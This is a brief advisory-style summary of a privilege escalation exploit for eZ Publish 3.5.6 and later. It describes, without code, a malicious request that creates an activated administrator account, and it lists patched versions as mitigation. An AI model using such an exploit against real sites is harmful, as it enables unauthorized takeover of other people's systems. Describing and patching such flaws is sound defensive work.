eZ Publish privilege escalation exploit

This is an exploit for a privilege escalation vulnerability in eZ Publish versions >= 3.5.6. The vulnerability allows an attacker to escalate their privileges and gain administrative access to the eZ Publish system. The exploit sends a malicious request to the target server, creating a new admin account with the provided username, password, and email. The new admin account will be activated and registered in the system.

Mitigation:

Upgrade to eZ Publish versions 3.9.5, 3.10.1, or 4.0.1 to resolve the vulnerability.
